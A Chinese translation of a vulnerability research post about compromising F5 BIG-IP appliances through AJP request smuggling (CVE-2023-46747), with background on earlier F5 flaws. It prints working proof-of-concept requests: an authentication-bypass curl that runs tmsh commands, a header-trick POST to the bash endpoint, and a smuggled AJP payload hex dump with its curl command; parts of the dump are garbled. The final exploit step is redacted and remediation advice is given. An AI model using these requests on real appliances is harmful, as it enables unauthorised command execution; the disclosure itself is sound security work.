最近的 F5 漏洞
攻击者最近在野外利用了两个主要的 F5 CVE。其中第一个漏洞是CVE-2020-5902 ,于 2020 年发布。简而言之,这是一个 Apache httpd 服务对 URL 中的“/..;/”字符的解释与后端 Apache Tomcat 服务不同的问题。Orange Tsai 进行了原创研究,发现了解析器漏洞类别,并于 2018 年在 BlackHat上进行了展示。Orange 演示文稿中的幻灯片很好地解释了这个问题(见图 1):
图 1:Orange Tsai 的 Blackhat 2018 演示
CVE-2020-5902 的概念证明是一个简单的 HTTP 请求,用于绕过身份验证要求并向“tmshCmd.jsp”端点发送请求,该端点在系统上执行 tmsh 命令。以下是绕过身份验证的卷曲请求示例:
curl -k 'https://<host>:<port>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
-
攻击者在野利用了该漏洞,CISA 发布了有关该活动的公告。“/tmui”API 包含此错误的相关处理程序代码。
第二次 F5 漏洞披露发生在 2022 年 ( CVE-2022-1388 )。在非常高的级别上,由于 HTTP 逐跳标头的处理方式,设置标头“Connection: X-F5-Auth-Token”会导致“X-F5-Auth-Token”标头不会出现在请求中后端代码处理。后端代码在没有标头的情况下不会停止处理,导致请求成功通过,就像经过身份验证一样。
下面的示例请求(来自此概念证明)导致代码执行。“/mgmt/tm/util/bash”API 是执行命令并返回结果的端点。
POST /mgmt/tm/util/bash HTTP/1.1
Host: <redacted>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0
{"command": "run" , "utilCmdArgs": " -c 'id' " }
此身份验证漏洞涉及 F5 BIG-IP API 的不同组件,即“/mgmt”处理程序。
F5 此后修补了这两个漏洞,并进一步更新了“/tmui”API 中的相关 JSP 处理程序以限制其功能。“fileRead.jsp”处理程序将不再读取任意文件(它仅限于一个非常小的子集),并且“tmshCmd.jsp”处理程序不会执行任意 tmsh 命令(它是“ilx”相关功能的一个小子集) 。
绘制 F5 BIG-IP 攻击面
虽然之前的文章提供了 F5 技术堆栈的粗略概念,但最好的信息来源是设备本身。我们使用廉价的AWS Marketplace 模板部署了默认的 F5 安装,并开始识别服务器上的组件。
[admin@localhost:Active:Standalone] ~ # cat /etc/os-release NAME="CentOS Linux" VERSION="7 (Core)" ID="centos" ID_LIKE="rhel fedora" VERSION_ID="7" PRETTY_NAME= “CentOS Linux 7(核心)” ANSI_COLOR="0;31" CPE_NAME="cpe:/o:centos:centos:7" HOME_URL="https://www.centos.org/" BUG_REPORT_URL="https:// bugs.centos.org/" CENTOS_MANTISBT_PROJECT="CentOS-7" CENTOS_MANTISBT_PROJECT_VERSION="7" REDHAT_SUPPORT_PRODUCT="centos" REDHAT_SUPPORT_PRODUCT_VERSION="7" [admin@localhost:Active:Standalone] ~ # uname -r 3.10.0-862.14.4 .el7.ve.x86_64
快速查看操作系统横幅和内核版本,我们知道该设备在 2018 年发布的 CentOS 7.5-1804上运行。虽然 CentOS 7 还没有超过其生命周期,但较旧的内核基础让我们有理由检查计算机上其他核心软件组件的版本。多个服务器组件位于较旧的一侧,但其中一个组件的版本横幅特别引人注目:
[admin@localhost:Active:Standalone] ~ # httpd -version
服务器版本:BIG-IP 67.el7.centos.5.0.0.5(定制 Apache/2.4.6)(CentOS)
服务器构建:2023 年 7 月 11 日 09:24:58
易受攻击的 Apache 版本
F5设备上的Apache版本虽然是定制的,但仍然基于2.4.6,这意味着开发人员需要维护大量安全补丁以确保系统安全。在完成Qlik Sense Enterprise 漏洞研究后,我们对与 HTTP 请求走私相关的潜在漏洞特别感兴趣。从之前讨论的 2020 年和 2022 年 F5 漏洞中我们知道,前端和后端系统解释请求的方式存在差异,可能会导致身份验证绕过问题。
我们发现了这样一个请求走私漏洞CVE-2022-26377,它可能会影响自定义 Apache 2.4.6 版本。有趣的是,F5 甚至在他们发布的公开知识库文章中承认此漏洞是一个问题。虽然他们将 F5-BIG IP 的所有主要受支持版本确定为“受影响”,但他们没有发布修复程序来解决该漏洞。我们假设 F5 认为该问题无法被有意义地利用来造成超出更多假设或理论风险的直接安全影响。
CVE-2022-26377 的一位原始报告者撰写了一篇出色的博客文章(请注意,该博客文章已不再存在;请参阅原始的hackerone 报告),描述了对该漏洞的直接利用。我们决定在服务器上运行的自定义 httpd 软件中追踪此请求走私问题。
Apache JServ 协议 (AJP) 和 Tomcat
下一步是确定 F5 设备是否使用 Apache JServ 协议 (AJP)。查看“/usr/share/tomcat/conf/server.xml”确认了 Tomcat 上使用了 AJP 连接器,这是请求走私漏洞的先决条件。
<Service name="Catalina">
<!-- Define an AJP 1.3 Connector on port 8009 -->
<Connector port="8009" protocol="AJP/1.3"
redirectPort="8443"
enableLookups="true"
address="127.0.0.1"
maxParameterCount="32500"
tomcatAuthentication="false" />
我们还观察到 Apache httpd 配置 (/etc/httpd/conf.d/proxy_ajp.conf) 使用 AJP 将请求路由到运行 Apache Tomcat 应用程序的后端应用程序(参见图 2)。
图 2:用于路由 AJP 请求的 httpd 配置。
所有 AJP 路由规则都要求初始请求 URI 包含“/tmui/”端点。由于此要求,用于运行来自CVE-2022-1388 的命令的“/mgmt”API将无法通过 AJP 请求隧道访问。
F5 流量管理用户界面 (TMUI) 概述
F5 流量管理用户界面 (TMUI) 使用 Apache httpd 中的 ProxyPassMatch 路由规则将所有 HTTP 请求路由到后端的不同服务。对“/tmui”端点的请求最终被转发到在端口 8009 上侦听的 AJP(Apache JServ 协议)服务(见图 3)。通过检查侦听该端口的进程,我们可以找到相关的 Java 进程,如图 4 所示。
图 3:Java 进程侦听端口 8009。
图 4:监听 8009 的 java 进程是 Tomcat。
查看 Tomcat 部署目录后,“tmui.xml”文件提供了有关在何处查找相关“/tmui”文件的更多信息(见图 5)。
图 5:tomcat 部署 XML 文件包含 TMUI 代码的基目录。
在“/usr/local/www/tmui”目录中,servlet 的“web.xml”文件包含相关处理程序的所有映射信息,如图 6 所示:
图 6:Tomcat 服务器的 TMUI API 的 web.xml 映射。
这些文件确认 Tomcat 服务于监听端口 8009 的 AJP 进程,并且“/usr/local/www/tmui”目录包含相关的 Java 代码和处理程序。
验证 AJP 走私
乍一看,似乎点击任何“/tmui/” URL 就足以触发 AJP 走私。在深入研究兔子洞之前,我们想验证 AJP 走私是否有效。
作为第一步,我们从RicterZ 的博客文章中获取示例 AJP 有效负载实现(同样,该博客文章不再出现在互联网上,请参阅相关的hackerone 报告),并将其指向我们知道会公开暴露的 URL – 登录页。
$ xxd raw.dat
00000000:0008 4854 5450 2f31 2e31 0000 012f 0000 ..HTTP/1.1.../..
00000010:0931 3237 2e30 2e30 2e31 00ff ff00 0161 .12 7.0.0.1.....a
00000020:0000 5000 0000 0a00 216a 6176 6178 2e73 ..P.....!javax.s
00000030:6572 766c 6574 2e69 6e63 6c75 6465 2e72 ervlet.include.r
00000040:6571 7565 737 4 5f75 7269 0000 012f 000a equest_uri.../..
00000050: 0022 6a61 7661 782e 7365 7276 6c65 742e ."javax.servlet.00000060
: 696e 636c 7564 652e 7365 7276 6c65 745f include.servlet_
0000007 0: 7061 7468 0001 532f 2f2f 2f2f 2f2f 2f2f 路径..S/////// //
00000080: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
00000090: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f /////// ///// ////
000000a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
000000b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ///// ///// //////
000000c0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f /////////////////
000000d0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f /// ///// ////////
000000e0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f //////////////// 000000f0
: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////// //////////
00000100:2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f //////////////// 00000110
:2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f 2f //// ////////////
00000120:2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
00000130:2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f // /////////////
00000140:2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ///////////////// 00000150
:2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2 2f2f ////////////////
00000160:2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f /////////////////
00000170:2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
00000180:2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f /////////////////
00000190:2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f ////////////////
000001a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f /////////////////
000001b0: 2f2f 2f2f 2F2F 2F2F 2F2F 2F2F
2F2F 2F2F
///////////////////////////////////////////////////////////////////////////////////////////////////////// 782e 7365 7276 6c65 742e 696e 636c vax.servlet.incl
000001e0: 7564 652e 7061 7468 5f69 6e66 6f00 0010 ude.path_info... 000001f0
: 2f57 4542 2 d49 4e46 2f77 6562 2e78 6d6c /WEB-INF/web.xml
00000200:00ff
$ curl -k -i http://our.f5.ami.ip:8443/tmui/login.jsp -H 'Transfer-Encoding: chunked, chunked' --data-binary @raw.dat
当我们第一次发送此有效负载时,服务器返回登录页面,这是正常且预期的响应。然后,我们利用先进的渗透测试技能并多次重新运行curl命令,因为有时漏洞研究会多次执行相同的操作,但会以某种方式得到不同的结果。
有趣的是,在几次curl 请求之后,我们偶尔会收到 404 Not Found 响应,而不是预期的登录页面。此刻我们知道我们对 AJP 走私漏洞的预感很可能是正确的。我们还反编译了相关的 Apache .so 模块,并将其实现与修补后的 httpd 源代码进行了比较。
我们将在这篇博文中进一步深入探讨 AJP 数据包的工作原理,但上面的示例本质上与请求从 Tomcat 中的 ROOT web 应用程序( 2020 年的默认 PoC)读取 /WEB-INF/web.xml 的内容相同GhostCat 漏洞)。默认情况下,F5-BIGIP 不运行 ROOT Web 应用程序,因此系统返回 404。通过在 /usr/share/tomcat/webapps/ROOT/WEB-INF/web.xml 显式创建文件,我们能够触发 GhostCat LFI。
$ curl -k -i https://our.f5.ami.ip:8443/tmui/login.jsp -H 'Transfer-Encoding: chunked, chunked' --data-binary @raw.dat
HTTP/1.1 200 OK
Date: Fri, 08 Sep 2023 19:57:12 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=16070400; includeSubDomains
Accept-Ranges: bytes
ETag: W/"60-1694202750000"
Last-Modified: Fri, 08 Sep 2023 19:52:30 GMT
Content-Type: application/xml
Content-Length: 60
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; img-src 'self' data: http://127.4.1.1 http://127.4.2.1
Cache-Control: no-store
Pragma: no-cache
<Contents of File we wrote to /usr/share/tomcat/webapps/ROOT/WEB-INF/web.xml/>
此时,我们知道 AJP 走私在当前版本的 F5-BIGIP 设备上已存在;我们的下一个问题是如何利用它。这需要了解 AJP 走私 CVE-2022-26377 的实际运作方式。
AJP 走私和服务器解释
CVE-2022-26377 的 Apache httpd 描述指出, “Apache HTTP Server 的 mod_proxy_ajp 中的 HTTP 请求解释不一致(‘HTTP 请求走私’)漏洞允许攻击者将请求走私到其转发请求的 AJP 服务器。此问题影响 Apache HTTP Server 2.4 版本 2.4.53 及之前的版本。” 我们希望 F5 httpd 服务上的请求走私问题能够提供我们完全破坏设备所需的身份验证绕过。
这篇博客文章(不幸的是不再在线)部分描述了 AJP 走私是如何发生的,但其对“为什么”发生的解释并不完全正确(请记住谷歌的翻译可能不准确)。AJP 的文档很少,最好的在线参考资料是Apache 站点本身。我们确定解释走私如何以及为何进行的最佳方法是通过正常流程的示例演练。
正常AJP消息处理
从 httpd 服务发送到后端 AJP 侦听器的二进制 AJP 消息以魔术字节“0x12”“0x34”开头,后跟两字节消息长度,最后是“数据”。消息的第 5 个字节包含“Code”,该值确定 AJP 请求的类型。HTTP 转发请求的代码是值“0x2”。HTTP 转发请求的第 6 个字节对请求的 HTTP 动词进行编码。GET 请求是 0x2,POST 请求是 0x4,依此类推。其余消息数据对 AJP 属性和 HTTP 请求信息进行编码。
POST 请求还可能包含正文内容。AJP 协议将 POST 正文内容编码为其自己的特殊数据消息。第一个字节是相同的魔术字节“0x1234”,并且类似地后面跟着一个两字节消息长度。第5和第6字节不同,这两个字节包含数据长度。消息的其余部分是 POST 正文数据。从 httpd 服务到 AJP 侦听器的典型 AJP POST 消息将类似于以下连续发送的两个数据包(参见图 7、8 和 9)。
图 7:发送至服务器的标准 AJP 消息。
图 8:发送到服务器的 AJP 数据消息(用于发送 POST 正文内容)。
图 9:httpd 和 Tomcat 之间的标准数据流。
第一个消息的“数据”数据包中编码的是“Content-Length”标头,该标头将与 POST 正文数据的长度相匹配。当 Tomcat AJP 侦听器看到“Content-Length”标头时,它会从输入流中读取另一个 AJP 数据包并将其解释为数据包。然后发生一个简短的交换,其中它将一条消息发送回 httpd 并请求更多的正文内容,httpd 服务器用另一个长度为零的数据包回复该内容。最后,Tomcat AJP 服务器将预期的 HTTP 响应发送回原始请求。图 10 显示了 Wireshark 中的情况。
图 10:发送到服务器的两条 AJP 消息代表 HTTP Post 请求。
请注意消息中的“Content-Length”值,以及底部的 Apache JServ 协议消息,即 POST 正文内容数据包。
负责 AJP 消息处理的代码位于AjpProcessor 实现中,如图 11 所示。
图 11:AJP 处理器中的服务方法。
该服务方法从套接字连接读取消息。当它看到“Content-Length”标头时,它会设置“contentLengthSet”变量,并指出它稍后需要在该过程中读取正文(见图 12)。
图 12:处理 AJP 消息时检查 Content-Length 标头。
最终读取并处理正文,并直接将其从套接字连接中拉出(如之前的第二条消息,再次如图 13 所示)。
图 13:预期的 POST 正文数据 AJP 消息。
走私 AJP 加工
当对 Apache httpd 服务的原始请求包含值为“chunked, chunked”的“Transfer-Encoding”标头时,会出现 CVE-2022-26377。值“chunked, chunked”是有效的“Transfer-Encoding”标头。当Apache同时收到“Transfer-Encoding”和“Content-Length”标头时,它会从发送到后端 AJP 服务器的请求中删除“Content-Length”标头,如图 14 所示。
图 14:Apache 处理“Content-Length”和“Transfer-Encoding”标头时。
因此,发送到 Apache mod_proxy_ajp进行转发的请求不包含“Content-Length”标头。首先,httpd AJP 处理器将请求及其标头发送到后端。然后mod_proxy_ajp检查“Transfer-Encoding”标头是否存在以及它是否与“chunked”完全匹配(见图 15)。由于它正在处理的标头的“chunked, chunked”值不匹配,因此它继续处理 else 分支的其余部分,并将 POST 正文内容作为 AJP 数据包直接发送到后端服务器(见图 16)。
图 15:Apache httpd mod_proxy_ajp 将“Transfer-Encoding”值与“chunked”进行比较。
图 16:走私的 AJP 消息。请注意左下方突出显示的独特请求,即正文内容。
httpd服务遇到“分块,分块”的Transfer-Encoding后,发送图17和图18中的两条消息。注意,Data Length是攻击者控制的POST主体的长度,POST主体是攻击者控制的POST身体。
图 17:发送走私请求时的第一个 AJP 数据包。数据不包含“Content-Length”标头。httpd 由于“分块、分块”传输编码而删除了它。
图 18:发送走私请求时的第二个 AJP 数据包。
处理消息的 Tomcat AJP 服务看到第一条消息出现,如图 19 所示:
图 19:第一个收到的 AJP 数据包消息。
但是,正如我们之前引用的 Wireshark 屏幕截图所示,AJP 消息不包含“Content-Length”标头。Tomcat 服务器不会读取任何帖子正文数据,并且 httpd 发送的第二条消息仍然位于套接字上。处理完第一条消息后,整个循环继续,并从套接字读取另一条消息(见图 20)。
图 20:AJP 处理程序中的处理循环。
AJP 处理程序读取的下一条(走私)消息与发送该消息的 httpd 服务的消息类似(参见图 21):
图 21:httpd 服务器认为它正在作为 AJP 消息发送的内容。
但 Tomcat AJP 处理器会消耗攻击者控制的消息,就像我们在图 22 中看到的那样。
图 22:AJP 处理器将走私的 AJP 消息解释为什么。
这种混乱就是导致 CVE-2022-26377 的原因。如果我们提交一条 POST 正文长度为 0x204 的消息(0x2 是 FORWARD_REQUEST 代码,0x4 是 HTTP POST 方法),那么 Tomcat AJP 监听器会将相应的数据解释为 AJP POST 请求,并将其发送到我们想要的任何地方。这种混淆会导致请求走私,消息长度必须恰好为 0x204 才能被解释为 POST 请求。图 23 说明了新流程。
图 23:走私的 AJP 请求流程。
但如何处理走私呢?
已编辑
我们绕过身份验证并以 root 身份在目标系统上执行命令。
已编辑
未来几天,我们将发布有关利用此漏洞的更多信息,但鉴于 F5-BIGIP 设备尚未发布官方补丁,我们认为放弃所有技术细节与负责任的披露不符。
一旦 F5 发布了官方补丁并且组织有时间应用它,我们将发布有关如何利用 AJP 走私来危害设备并以 root 用户身份执行命令的剩余信息。
补救措施
F5 发布了一份公告,详细说明了受影响的版本和组件。按照通报中概述的说明进行操作,并在您的系统上运行F5 发布的修补程序 。此外,完全限制对 TMUI 门户的访问。门户本身根本不应该从公共互联网访问。包括本博客中描述的问题在内,过去三年内TMUI门户中已存在三个未经身份验证的远程代码执行漏洞。如果需要访问它,请确保只能从内部网络或 VPN 连接访问 TMUI 门户。
结论
当两个不同的服务将身份验证责任转移到彼此身上时,看似影响不大的请求走私错误可能会成为一个严重的问题。向假设“前端”处理身份验证的“后端”服务发送请求可能会导致一些有趣的行为。如果您对这些请求走私漏洞感兴趣,请查看我们最近在 Qlik 上发布的博客文章:第一个严重风险问题和补丁绕过。
虽然我们在 F5 TMUI 门户中强调的问题是严重风险问题和未知漏洞,但您仍然可以采取措施保护自己。在TMUI服务中的前两个RCE之后,接口本身就不应该暴露在互联网上。
原文地址:https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/
原文始发于微信公众号(Ots安全):通过请求走私危害 F5 BIG-IP | CVE-2023-46747
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论